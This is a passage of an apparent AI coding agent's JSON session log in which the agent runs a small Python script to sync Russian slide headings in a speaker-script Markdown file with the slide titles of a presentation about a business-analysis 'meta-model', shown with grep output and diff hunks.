\"not_available\"\n[2026-09-29T07:55:36.672Z] [INFO]     },\n[2026-09-29T07:55:36.672Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:55:36.672Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:55:36.672Z] [INFO]     \"context_management\": null\n[2026-09-29T07:55:36.672Z] [INFO]   },\n[2026-09-29T07:55:36.672Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:55:36.672Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:36.672Z] [INFO]   \"uuid\": \"400e4d34-1660-440d-9cff-7b610bbefb94\",\n[2026-09-29T07:55:36.672Z] [INFO]   \"timestamp\": \"2026-09-29T07:55:36.666Z\",\n[2026-09-29T07:55:36.672Z] [INFO]   \"request_id\": \"req_011CfXNX5mm4Z2XzrTDFFD5p\",\n[2026-09-29T07:55:36.672Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:55:36.672Z] [INFO]     \"toolu_01FrvHTqdGohhzFzwuayPs65\": {\n[2026-09-29T07:55:36.672Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation; F=2026-09-29-meta-model-presentation-speaker-script.md; S=2026-09-29-meta-model-presentation-slides.md\\npython3 - \\\"$F\\\" \\\"$S\\\" <<'EOF'\\nimport re,sys\\nf,s=sys.argv[1],sys.argv[2]\\nt=open(f).read()\\nheads=dict(re.findall(r'^(## \u0421\u043b\u0430\u0439\u0434 \\\\d+)\\\\. (.*)$',open(s).read(),re.M))\\nt=re.sub(r'^(## \u0421\u043b\u0430\u0439\u0434 \\\\d+)\\\\. .*$',lambda m:m.group(1)+'. '+heads[m.group(1)],t,flags=re.M)\\nopen(f,'w').write(t)\\nEOF\\ngrep -n '^## \u0421\u043b\u0430\u0439\u0434' $F\",\n[2026-09-29T07:55:36.672Z] [INFO]       \"description\": \"Sync speaker-script headings with slide titles\"\n[2026-09-29T07:55:36.672Z] [INFO]     }\n[2026-09-29T07:55:36.672Z] [INFO]   }\n[2026-09-29T07:55:36.672Z] [INFO] }\n[2026-09-29T07:55:38.320Z] [INFO] {\n[2026-09-29T07:55:38.320Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:55:38.320Z] [INFO]   \"message\": {\n[2026-09-29T07:55:38.320Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:55:38.320Z] [INFO]     \"content\": [\n[2026-09-29T07:55:38.320Z] [INFO]       {\n[2026-09-29T07:55:38.320Z] [INFO]         \"tool_use_id\": \"toolu_01FrvHTqdGohhzFzwuayPs65\",\n[2026-09-29T07:55:38.320Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:55:38.320Z] [INFO]         \"content\": \"51:## \u0421\u043b\u0430\u0439\u0434 1. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u0430\u043a \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442, \u0430 \u043d\u0435 \u043a\u0430\u043a \u0430\u0432\u0442\u043e\u0440\u0441\u043a\u0438\u0439 \u0442\u0435\u043a\u0441\u0442\\n73:## \u0421\u043b\u0430\u0439\u0434 2. \u0412 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u044d\u0442\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u0437\u0430\u043c\u0435\u0442\u043a\u0430\\n98:## \u0421\u043b\u0430\u0439\u0434 3. \u041c\u0435\u0436\u0434\u0443 \u0441\u044b\u0440\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c \u0438 \u0422\u0417 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0443\u0447\u043d\u043e\u043c \u0448\u0430\u0433\u0435\\n131:## \u0421\u043b\u0430\u0439\u0434 4. \u0423\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u043e \u0434\u0430\u0432\u0430\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442: 60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u0434\u0435\u0444\u0435\u043a\u0442 \u0441\u0438\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430\\n170:## \u0421\u043b\u0430\u0439\u0434 5. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0411\u0410 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c\\n198:## \u0421\u043b\u0430\u0439\u0434 6. \u041c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0441\u043b\u044c: \u043c\u044b \u043e\u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e \u0438 \u0441\u0442\u0430\u0432\u0438\u043c \u043d\u0430 \u0435\u0451 \u0432\u044b\u0445\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\n235:## \u0421\u043b\u0430\u0439\u0434 7. \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0441\u044b\u0440\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0437\u0430 \u043f\u044f\u0442\u044c \u0448\u0430\u0433\u043e\u0432 \u0438 \u0434\u0432\u0430 \u0433\u0435\u0439\u0442\u0430\\n274:## \u0421\u043b\u0430\u0439\u0434 8. \u041f\u0438\u043b\u043e\u0442 \u043d\u0430 \u0410\u0420\u041c \u0434\u043e\u043a\u0430\u0437\u0430\u043b \u043c\u043e\u0434\u0435\u043b\u044c; \u0434\u043b\u044f \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u0434, \u0430 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c\\n311:## \u0421\u043b\u0430\u0439\u0434 9. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f, \u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430: \u0435\u0433\u043e \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0431\u0435\u0441\u0448\u043e\u0432\u043d\u043e\u0439\\n339:## \u0421\u043b\u0430\u0439\u0434 10. \u041e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4 \u2014 \u0442\u0440\u0438 \u0448\u0430\u0433\u0430, \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d \u0434\u043e \u0441\u0442\u0430\u0440\u0442\u0430\",\n[2026-09-29T07:55:38.320Z] [INFO]         \"is_error\": false\n[2026-09-29T07:55:38.320Z] [INFO]       }\n[2026-09-29T07:55:38.320Z] [INFO]     ]\n[2026-09-29T07:55:38.320Z] [INFO]   },\n[2026-09-29T07:55:38.320Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:55:38.320Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:38.320Z] [INFO]   \"uuid\": \"daa7475d-e745-4421-9242-13488e492fa4\",\n[2026-09-29T07:55:38.320Z] [INFO]   \"timestamp\": \"2026-09-29T07:55:38.302Z\",\n[2026-09-29T07:55:38.320Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:55:38.320Z] [INFO]     \"stdout\": \"51:## \u0421\u043b\u0430\u0439\u0434 1. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u0430\u043a \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442, \u0430 \u043d\u0435 \u043a\u0430\u043a \u0430\u0432\u0442\u043e\u0440\u0441\u043a\u0438\u0439 \u0442\u0435\u043a\u0441\u0442\\n73:## \u0421\u043b\u0430\u0439\u0434 2. \u0412 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u044d\u0442\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u0437\u0430\u043c\u0435\u0442\u043a\u0430\\n98:## \u0421\u043b\u0430\u0439\u0434 3. \u041c\u0435\u0436\u0434\u0443 \u0441\u044b\u0440\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c \u0438 \u0422\u0417 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0443\u0447\u043d\u043e\u043c \u0448\u0430\u0433\u0435\\n131:## \u0421\u043b\u0430\u0439\u0434 4. \u0423\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u043e \u0434\u0430\u0432\u0430\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442: 60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u0434\u0435\u0444\u0435\u043a\u0442 \u0441\u0438\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430\\n170:## \u0421\u043b\u0430\u0439\u0434 5. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0411\u0410 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c\\n198:## \u0421\u043b\u0430\u0439\u0434 6. \u041c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0441\u043b\u044c: \u043c\u044b \u043e\u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e \u0438 \u0441\u0442\u0430\u0432\u0438\u043c \u043d\u0430 \u0435\u0451 \u0432\u044b\u0445\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\n235:## \u0421\u043b\u0430\u0439\u0434 7. \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0441\u044b\u0440\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0437\u0430 \u043f\u044f\u0442\u044c \u0448\u0430\u0433\u043e\u0432 \u0438 \u0434\u0432\u0430 \u0433\u0435\u0439\u0442\u0430\\n274:## \u0421\u043b\u0430\u0439\u0434 8. \u041f\u0438\u043b\u043e\u0442 \u043d\u0430 \u0410\u0420\u041c \u0434\u043e\u043a\u0430\u0437\u0430\u043b \u043c\u043e\u0434\u0435\u043b\u044c; \u0434\u043b\u044f \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u0434, \u0430 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c\\n311:## \u0421\u043b\u0430\u0439\u0434 9. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f, \u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430: \u0435\u0433\u043e \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0431\u0435\u0441\u0448\u043e\u0432\u043d\u043e\u0439\\n339:## \u0421\u043b\u0430\u0439\u0434 10. \u041e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4 \u2014 \u0442\u0440\u0438 \u0448\u0430\u0433\u0430, \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d \u0434\u043e \u0441\u0442\u0430\u0440\u0442\u0430\",\n[2026-09-29T07:55:38.320Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:55:38.320Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:55:38.320Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:55:38.320Z] [INFO]     \"noOutputExpected\": false,\n[2026-09-29T07:55:38.320Z] [INFO]     \"bashEditDiff\": {\n[2026-09-29T07:55:38.320Z] [INFO]       \"files\": [\n[2026-09-29T07:55:38.320Z] [INFO]         {\n[2026-09-29T07:55:38.320Z] [INFO]           \"filePath\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md\",\n[2026-09-29T07:55:38.320Z] [INFO]           \"hunks\": [\n[2026-09-29T07:55:38.320Z] [INFO]             {\n[2026-09-29T07:55:38.320Z] [INFO]               \"oldStart\": 48,\n[2026-09-29T07:55:38.320Z] [INFO]               \"oldLines\": 7,\n[2026-09-29T07:55:38.320Z] [INFO]               \"newStart\": 48,\n[2026-09-29T07:55:38.320Z] [INFO]               \"newLines\": 7,\n[2026-09-29T07:55:38.320Z] [INFO]               \"lines\": [\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" ---\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \"-## \u0421\u043b\u0430\u0439\u0434 1. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u0430\u043a \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \"+## \u0421\u043b\u0430\u0439\u0434 1. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u0430\u043a \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442, \u0430 \u043d\u0435 \u043a\u0430\u043a \u0430\u0432\u0442\u043e\u0440\u0441\u043a\u0438\u0439 \u0442\u0435\u043a\u0441\u0442\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" **\u0412\u0440\u0435\u043c\u044f:** 1 \u043c\u0438\u043d\u0443\u0442\u0430. **\u0426\u0435\u043b\u044c:** \u043d\u0430\u0437\u0432\u0430\u0442\u044c \u0442\u0435\u0437\u0438\u0441 \u0438 \u0434\u0430\u0442\u044c \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u043e\u043d \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \u043d\u0430 \u0438\u0441\u0442\u043e\u0440\u0438\u044e, \u0430 \u043d\u0435 \u043d\u0430 \u0442\u0435\u043e\u0440\u0438\u044e.\"\n[2026-09-29T07:55:38.320Z] [INFO]               ]\n[2026-09-29T07:55:38.320Z] [INFO]             },\n[2026-09-29T07:55:38.320Z] [INFO]             {\n[2026-09-29T07:55:38.320Z] [INFO]               \"oldStart\": 70,\n[2026-09-29T07:55:38.320Z] [INFO]               \"oldLines\": 7,\n[2026-09-29T07:55:38.320Z] [INFO]               \"newStart\": 70,\n[2026-09-29T07:55:38.320Z] [INFO]               \"newLines\": 7,\n[2026-09-29T07:55:38.320Z] [INFO]               \"lines\": [\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" ---\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \"-## \u0421\u043b\u0430\u0439\u0434 2. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u044d\u0442\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \"+## \u0421\u043b\u0430\u0439\u0434 2. \u0412 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u044d\u0442\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u0437\u0430\u043c\u0435\u0442\u043a\u0430\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" **\u0412\u0440\u0435\u043c\u044f:** 1,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0446\u0435\u043d\u0443 \u043e\u0448\u0438\u0431\u043a\u0438, \u0447\u0442\u043e\u0431\u044b \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0430\u044f\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \u0441\u0442\u0440\u043e\u0433\u043e\u0441\u0442\u044c \u043d\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u0438\u0437\u0431\u044b\u0442\u043e\u0447\u043d\u043e\u0439.\"\n[2026-09-29T07:55:38.320Z] [INFO]               ]\n[2026-09-29T07:55:38.320Z] [INFO]             },\n[2026-09-29T07:55:38.320Z] [INFO]             {\n[2026-09-29T07:55:38.320Z] [INFO]               \"oldStart\": 95,\n[2026-09-29T07:55:38.320Z] [INFO]               \"oldLines\": 7,\n[2026-09-29T07:55:38.320Z] [INFO]               \"newStart\": 95,\n[2026-09-29T07:55:38.320Z] [INFO]               \"newLines\": 7,\n[2026-09-29T07:55:38.320Z] [INFO]               \"lines\": [\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" ---\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \"-## \u0421\u043b\u0430\u0439\u0434 3. \u0421\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0443\u0447\u043d\u043e\u043c \u0448\u0430\u0433\u0435\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \"+## \u0421\u043b\u0430\u0439\u0434 3. \u041c\u0435\u0436\u0434\u0443 \u0441\u044b\u0440\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c \u0438 \u0422\u0417 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0443\u0447\u043d\u043e\u043c \u0448\u0430\u0433\u0435\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" **\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0431\u043e\u043b\u044c \u0447\u0438\u0441\u043b\u0430\u043c\u0438 \u0438\u0437 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u0440\u043f\u0443\u0441\u0430,\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \u0430 \u043d\u0435 \u0438\u0437 \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u044b\u0445 \u043e\u0442\u0447\u0451\u0442\u043e\u0432.\"\n[2026-09-29T07:55:38.320Z] [INFO]               ]\n[2026-09-29T07:55:38.320Z] [INFO]             },\n[2026-09-29T07:55:38.320Z] [INFO]             {\n[2026-09-29T07:55:38.320Z] [INFO]               \"oldStart\": 128,\n[2026-09-29T07:55:38.320Z] [INFO]               \"oldLines\": 7,\n[2026-09-29T07:55:38.320Z] [INFO]               \"newStart\": 128,\n[2026-09-29T07:55:38.320Z] [INFO]               \"newLines\": 7,\n[2026-09-29T07:55:38.320Z] [INFO]               \"lines\": [\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" ---\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \"-## \u0421\u043b\u0430\u0439\u0434 4. \u0423\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u043e \u0434\u0430\u0432\u0430\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \"+## \u0421\u043b\u0430\u0439\u0434 4. \u0423\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u043e \u0434\u0430\u0432\u0430\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442: 60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u0434\u0435\u0444\u0435\u043a\u0442 \u0441\u0438\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" **\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044e \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043a\u0430\u043a \u0432\u044b\u043d\u0443\u0436\u0434\u0435\u043d\u043d\u044b\u0439 \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u0432\u044b\u0432\u043e\u0434. \u042d\u0442\u043e \u043a\u043b\u044e\u0447 \u043a \u0434\u043e\u0432\u0435\u0440\u0438\u044e: \u043f\u043e\u0434\u0445\u043e\u0434\"\n[2026-09-29T07:55:38.320Z] [INFO]               ]\n[2026-09-29T07:55:38.320Z] [INFO]             },\n[2026-09-29T07:55:38.320Z] [INFO]             {\n[2026-09-29T07:55:38.320Z] [INFO]               \"oldStart\": 167,\n[2026-09-29T07:55:38.320Z] [INFO]               \"oldLines\": 7,\n[2026-09-29T07:55:38.320Z] [INFO]               \"newStart\": 167,\n[2026-09-29T07:55:38.320Z] [INFO]               \"newLines\": 7,\n[2026-09-29T07:55:38.320Z] [INFO]               \"lines\": [\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" ---\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \"-## \u0421\u043b\u0430\u0439\u0434 5. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0434\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \"+## \u0421\u043b\u0430\u0439\u0434 5. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0411\u0410 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" **\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. 